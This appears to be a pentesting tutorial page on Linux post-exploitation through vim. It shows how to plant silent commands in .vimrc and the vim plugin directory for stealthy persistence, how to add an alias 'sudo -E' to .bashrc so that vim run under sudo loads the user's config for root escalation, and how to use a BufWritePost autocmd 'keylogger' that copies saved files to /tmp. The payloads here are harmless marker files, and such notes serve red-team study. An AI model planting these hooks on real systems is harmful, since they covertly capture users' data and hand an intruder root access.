Skip to content

Linux Post-Explotation

Vim config simple backdoor

The vim editor is a widely used command line text editor on Linux and it is installed almost in all Unix and Linux systems by default.

Vim configuration settins are located in user's home directory in the file .vimrc.

!id

The commands specified in the .vimrc fiel are executed when vim is launched.

$ vim test  
:!id
    uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(scanner),111(wireshark),115(kaboxer),981(bluetooth),989(netdev),999(lpadmin)

Press ENTER or type command to continue

We can use !source command to load a specific shell script.

!source ~/.vimrunscript
  • .vimrunscript
#!/bin/bash
echo "benjugat" > /tmp/benjugat.txt

Note: We can use :silent command to mute any output.

:silent !source ~/.vimrunscript

A stealthier aproach is to use the vim plugin directory:

$ cat ~/.vim/plugin/run.vim 
:silent !touch /tmp/benjugat.txt

Stealing sudo password

In most cases, users with sudo rights are required to enter their password when performing activities with elevated permissions via the sudo command.

And we can't perform any type of activity as root via sudo because we don't know the user's password.

We can weaponize this vim vector to gain root privileges if the user runs vim as root or uses the visudo command.

Note: Vim handles its configuration files differently for a user in a sudo context depending on the distribution of Linux. In Ubuntu and Red Hat, vim will use the current user's .vimrc file but in other distributions such as debian, in a sudo context, vim will use the root user's vim configuration.

To trick vim on debian users to use the user .vimrc file when executing it as a sudo we can modify the .bashrc file and create an alias.

alias sudo="sudo -E"

The alias replaces a standard sudo call with one that will force sudo to persist the user's vim settings.

Vim keylogger

:autocmd gives us the ability to define actions to be performed when various trigger condition occurs.

We can use the BufWritePost event which is triggered when the buffer is writen to a file and store the output to a file. That means that it's only saved when the file is saved.

:autocmd BufWritePost * :silent :w! >> /tmp/keylogger.out
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/hackedfromvim.txt
:endif
:if $USER == "root"
:autocmd BufWritePost * :silent !touch /tmp/root.txt
:endif